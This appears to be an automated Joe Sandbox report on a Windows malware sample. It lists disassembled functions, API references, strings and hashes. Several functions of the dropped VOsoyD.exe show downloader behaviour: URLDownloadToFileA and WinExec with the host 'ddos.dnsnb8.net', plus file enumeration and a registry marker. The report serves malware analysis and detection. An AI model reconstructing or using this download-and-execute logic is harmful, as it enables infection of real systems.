Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: a03684f63cbc6a91d378d3c7cc75e913b35af2b0ebf61f63ec8f4a56a4cef1d3
Instruction ID: ec4801618d74a3649f65dec7779c4c9cc6a2a6bc5c2f53205a0c5852e91e4a97
Opcode Fuzzy Hash: a03684f63cbc6a91d378d3c7cc75e913b35af2b0ebf61f63ec8f4a56a4cef1d3
Instruction Fuzzy Hash: A541E3B1E05228DFEB64CF48D889BAEB7F5BB54300F6081DAE009A7252C7385E80CF45

Function 0042213D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004221C0
_get_int64_arg.LIBCMTD ref: 004221E8
__aullrem.LIBCMT ref: 00422390
__aulldiv.LIBCMT ref: 004223B2

Strings

9, xrefs: 004223C3

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8475f9078d8e0c75c7ff64ee551256a7910bda1f27d75c6b35b5af1753b9ec80
Instruction ID: 0d58f656f8dd69d48b38d1c2a702116b229d1355cd1d2653dea681cd29f4e338
Opcode Fuzzy Hash: 8475f9078d8e0c75c7ff64ee551256a7910bda1f27d75c6b35b5af1753b9ec80
Instruction Fuzzy Hash: 584116B1A00229EFDB24CF58DA81B9EB7B4FB85314F4041DAD548A7201C7B89E81CF5A

Function 022F5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 022F5CF4

Strings

U, xrefs: 022F5CFD

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: cae03820d5f12c77eb47fd6c0f51a26ed5dd5150daa4392fa400611bdc92f969
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 16210B3223520D6AEB909AE49C49BBAB39DDB45650F900175FB08C6194FF71EA508AA4

Function 0040BEB3 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

__free_base.LIBCMTD ref: 0040BFC9

Strings

pHead->nBlockUse == nBlockUse, xrefs: 0040BECB
Q^[, xrefs: 0040BFBC
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0040BED7

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __free_base
String ID: Q^[$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 3554062276-3053907680
Opcode ID: 46ad5964667ba25a07582ad37745442033a948e132899fb97041249a0f0d2671
Instruction ID: d91d51007b28a3070c1a75ed58ae8a65c4e8760268d369598c3a6a868393f55c
Opcode Fuzzy Hash: 46ad5964667ba25a07582ad37745442033a948e132899fb97041249a0f0d2671
Instruction Fuzzy Hash: E5212974A00105EFCB14CF44D981AAA77B2EB89308F34C1A9E5056B396C739EE42DF89

Function 0040BF2E Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

__free_base.LIBCMTD ref: 0040BFC9

Strings

Q^[, xrefs: 0040BFBC
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0040BF3A
_pLastBlock == pHead, xrefs: 0040BF2E

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __free_base
String ID: Q^[$_pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3554062276-3653239116
Opcode ID: 39d02f2503b4eeb597e685574ab29d94ca2a36c1b47da16f824cd472d6cd7307
Instruction ID: 1b620ed3cdd619f71e5ca7ce91b2612f332aeeef667017000a7a8392aa1474ef
Opcode Fuzzy Hash: 39d02f2503b4eeb597e685574ab29d94ca2a36c1b47da16f824cd472d6cd7307
Instruction Fuzzy Hash: 340184B4A40105EBC704DB44CD81F59B3B2AF89308F3482A9E505673D2D639EE52DB99

Function 022EA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022EA858
_memset.LIBCMT ref: 022EA869
_memset.LIBCMT ref: 022EA87A

Strings

p2Q, xrefs: 022EA882

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 77dc7250288bf82095721c5c9e7b5629cca2a8f43a09092e5837989e5522a5e5
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 19F06D78698750A5F7617790FC26B857E817B35B09F004098E2182E2E0D3FD238CA79A

Function 0231FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0231FBF1

Part of subcall function 0230169C: std::exception::_Copy_str.LIBCMT ref: 023016B5

__CxxThrowException@8.LIBCMT ref: 0231FC06

Strings

TeM, xrefs: 0231FBE7, 0231FBFB
TeM, xrefs: 0231FBFE

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 89adda38d688458a56725f941cae3e83d6fbf70319ea0ef63d62dad01c2e49b8
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 87D06775C0020CBBCB04EFA5D499CDDBBBDAA04344B008466AD58A7281EA74A3498F98

Function 022DD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 022F197D: __wfsopen.LIBCMT ref: 022F1988

_fgetws.LIBCMT ref: 022DD15C

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: b78ff274b09797d6cba0bbf6bece4f3d5ff1c2935614914174ab9d9119061766
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 9491D272D2071AEBCF60DFE4CC447AEB7B5AF04304F140629E915A7249E7B5AA14CFA1

Function 022DD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 022DD77E
_malloc.LIBCMT ref: 022DD7B2
_malloc.LIBCMT ref: 022DD7C1
_fprintf.LIBCMT ref: 022DD815

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: fc8b382c369753c37869c39a7f915cc22b719d63de3b77cc4625071bed04cd12
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: EFA1BEB1C10258EBEF11EFE4CC45BEEBB76AF15308F140128D5057A285D7B65A48CFA6

Function 022F2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 022F2B2E
__read_nolock.LIBCMT ref: 022F2BFE
__filbuf.LIBCMT ref: 022F2C21
_memset.LIBCMT ref: 022F2C65

Part of subcall function 022F5BA8: __getptd_noexit.LIBCMT ref: 022F5BA8

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 0d0dc6909f0d7a3f15fee211e1ac5b9aea783b008f10cee2b5946ab9e1d1a8a3
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 0251B270A20306DBDB648FF9C8806AEF7A5AF42724F148339EE35962D8D7709950CB40

Function 02311359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0231137D

Part of subcall function 02311A9D: __fltout2.LIBCMT ref: 02311AC6

__cftog_l.LIBCMT ref: 023113A3
__cftoe_l.LIBCMT ref: 023113D5

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 8b1c6af12ff8bcf801ea9a66b9176543348cff89ba15743cfbd43d0e99927cb6
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 6201483240014EBBCF2A5E84DC01CEE3F67BB19354B488915FB9D98934D336C6B2AB81

Function 02397A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02397A4B

Part of subcall function 02398140: ___BuildCatchObjectHelper.LIBCMT ref: 02398172
Part of subcall function 02398140: ___AdjustPointer.LIBCMT ref: 02398189

_UnwindNestedFrames.LIBCMT ref: 02397A62
___FrameUnwindToState.LIBCMT ref: 02397A74
CallCatchBlock.LIBCMT ref: 02397A98

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: a4bb9ed437be5a5b1d47ab60a9d0d6428e921923f23030b9c94c90e50326d2be
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 1D012932100109BBCF22AF55CC01EEA7BBAFF8A754F148014FD1865260C336E961DFA0

Function 0040E971 Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 0040E98E

Part of subcall function 0040E460: TlsGetValue.KERNEL32(00000002,?,0040E94C), ref: 0040E475
Part of subcall function 0040E460: TlsGetValue.KERNEL32(00000002,00000004,?,0040E94C), ref: 0040E496
Part of subcall function 0040E460: __crt_wait_module_handle.LIBCMTD ref: 0040E4AC
Part of subcall function 0040E460: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 0040E4C6

__initptd.LIBCMTD ref: 0040E9A2

Part of subcall function 0040E7D0: __crt_wait_module_handle.LIBCMTD ref: 0040E807
Part of subcall function 0040E7D0: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0040E835
Part of subcall function 0040E7D0: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 0040E84D
Part of subcall function 0040E7D0: InterlockedIncrement.KERNEL32(004B9428), ref: 0040E89C
Part of subcall function 0040E7D0: ___addlocaleref.LIBCMTD ref: 0040E8F0

GetCurrentThreadId.KERNEL32 ref: 0040E9AA
SetLastError.KERNEL32(00000000), ref: 0040E9DA

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: AddressProc$Value__crt_wait_module_handle$CurrentErrorIncrementInterlockedLastThread___addlocaleref__encode_pointer__initptd
String ID:
API String ID: 1928116113-0
Opcode ID: a5696f063bbdb0697934309ed3a6f1addb2d8c3858be0a242a909b8b680f16bc
Instruction ID: d6526d3395211d44ce5668a05ea7bb0004611300cab1e8409f5205f6db72825c
Opcode Fuzzy Hash: a5696f063bbdb0697934309ed3a6f1addb2d8c3858be0a242a909b8b680f16bc
Instruction Fuzzy Hash: 800162B5D00208EBC710DFE5DC85A5E7B74BB48314F1046A9E505B73D2E735D650CB95

Function 0040BB2F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0040BB3F

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0040BB54
_CrtCheckMemory(), xrefs: 0040BB48

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 79137f4de3105db9dc76b1f260f5629542bee6e335110ac0877601fc974384b9
Instruction ID: 82577e27e6cb5ce37745ad18d64cf5373ddfba37e3a536d172a6447a273024cb
Opcode Fuzzy Hash: 79137f4de3105db9dc76b1f260f5629542bee6e335110ac0877601fc974384b9
Instruction Fuzzy Hash: 7FF0E534B802649BCA208B65DC82B313224E700308F60813BE9007DBF6D37C6545CECE

Analysis Process: VOsoyD.exePID: 5908, Parent PID: 6984COMMON

Execution Graph

Execution Coverage:	29.6%
Dynamic/Decrypted Code Coverage:	8.9%
Signature Coverage:	13%
Total number of Nodes:	292
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00B529E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B52A02
wsprintfA.USER32 ref: 00B52A1A
memset.MSVCRT ref: 00B52A44
lstrlen.KERNEL32(?), ref: 00B52A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 00B52A6C
strrchr.MSVCRT ref: 00B52A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00B52A9F
lstrlen.KERNEL32(Documents and Settings), ref: 00B52AAE
memset.MSVCRT ref: 00B52AC6
memset.MSVCRT ref: 00B52ADA
FindFirstFileA.KERNEL32(?,?), ref: 00B52AEF
memset.MSVCRT ref: 00B52B13
lstrcmpiA.KERNEL32(?,?), ref: 00B52B42
FindNextFileA.KERNEL32(00000000,?,?,?,?), ref: 00B52B67
FindClose.KERNEL32(00000000), ref: 00B52B6E

Strings

C:\, xrefs: 00B52A2F
Documents and Settings, xrefs: 00B52A8D, 00B52A92, 00B52A9A, 00B52AAD
%s*, xrefs: 00B52A14

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: a0021ea0ade87d96b27290ae6b2b8ac67d0166bb69ad511c8bf8c10f3c1f5fd1
Instruction ID: 2dbfc4fa9aad6c81e8a4779b8bb0a7611b1ec4670bdb4df708e707af61fb93e9
Opcode Fuzzy Hash: a0021ea0ade87d96b27290ae6b2b8ac67d0166bb69ad511c8bf8c10f3c1f5fd1
Instruction Fuzzy Hash: 314181B2405349AFD721EBA0DC89FDB77ECEB85746F0408A9F944C3151EA30D64C8BA2

Function 00B51099 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B5185B: GetSystemTimeAsFileTime.KERNEL32(00B51F92,00000000,?,00000000,?,?,?,00B51F92,?,00000000,00000002), ref: 00B51867
Part of subcall function 00B5185B: srand.MSVCRT ref: 00B51878
Part of subcall function 00B5185B: rand.MSVCRT ref: 00B51880
Part of subcall function 00B5185B: srand.MSVCRT ref: 00B51890
Part of subcall function 00B5185B: rand.MSVCRT ref: 00B51894

WinExec.KERNEL32(?,00000005), ref: 00B510F1
lstrlen.KERNEL32(00B54748), ref: 00B510FA
wsprintfA.USER32 ref: 00B5112A
wsprintfA.USER32 ref: 00B51143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 00B5115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00B51169
Sleep.KERNEL32 ref: 00B51179

Strings

cj/, xrefs: 00B51135
http://%s:%d/%s/%s, xrefs: 00B510C2, 00B51141
ddos.dnsnb8.net, xrefs: 00B510C8, 00B510CF, 00B51140, 00B51168
%s%.8X.exe, xrefs: 00B51124
C:\Users\user\AppData\Local\Temp\, xrefs: 00B51119

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-685328806
Opcode ID: 0c82bc4e9657fcdff8893975a965e85242859039cc944f957a93b1df7a3d27f0
Instruction ID: 3cfce0ae4edb15e6d3f775254a5983e6b7f4709f829ba3e5307cf964fc0ce787
Opcode Fuzzy Hash: 0c82bc4e9657fcdff8893975a965e85242859039cc944f957a93b1df7a3d27f0
Instruction Fuzzy Hash: 6F216B75900308BEDB21ABA4DC49BAEBBF8EB0575BF1544D5E900A3150DB749A888FA0

Function 00B51718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\VOsoyD.exe), ref: 00B51729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 00B5174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 00B5177C
__aulldiv.LIBCMT ref: 00B51796
__aulldiv.LIBCMT ref: 00B517A8

Strings

Time, xrefs: 00B5173D, 00B51766
C:\Users\user\AppData\Local\Temp\VOsoyD.exe, xrefs: 00B51722
SOFTWARE\GTplus, xrefs: 00B51742, 00B5176B

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\VOsoyD.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-523860255
Opcode ID: 1f2d8708c3f2d9981c56fab86f20403ec05992cc0371fa71af6658b31862be0d
Instruction ID: 604c5e099507b478afc65bae4e13ff9a2a4f2b03fee879bd162025add7daf2a4
Opcode Fuzzy Hash: 1f2d8708c3f2d9981c56fab86f20403ec05992cc0371fa71af6658b31862be0d
Instruction Fuzzy Hash: A31151B1A00209BBDB109BA8C885FAE7BF8EB44B56F1085D5FD01B6281D6719E48CB64

Function 00B56076 Relevance: 11.1, APIs: 7, Instructions: 618
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 00B560BE
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 00B560DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00B56189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00B561A5

Memory Dump Source

Source File: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
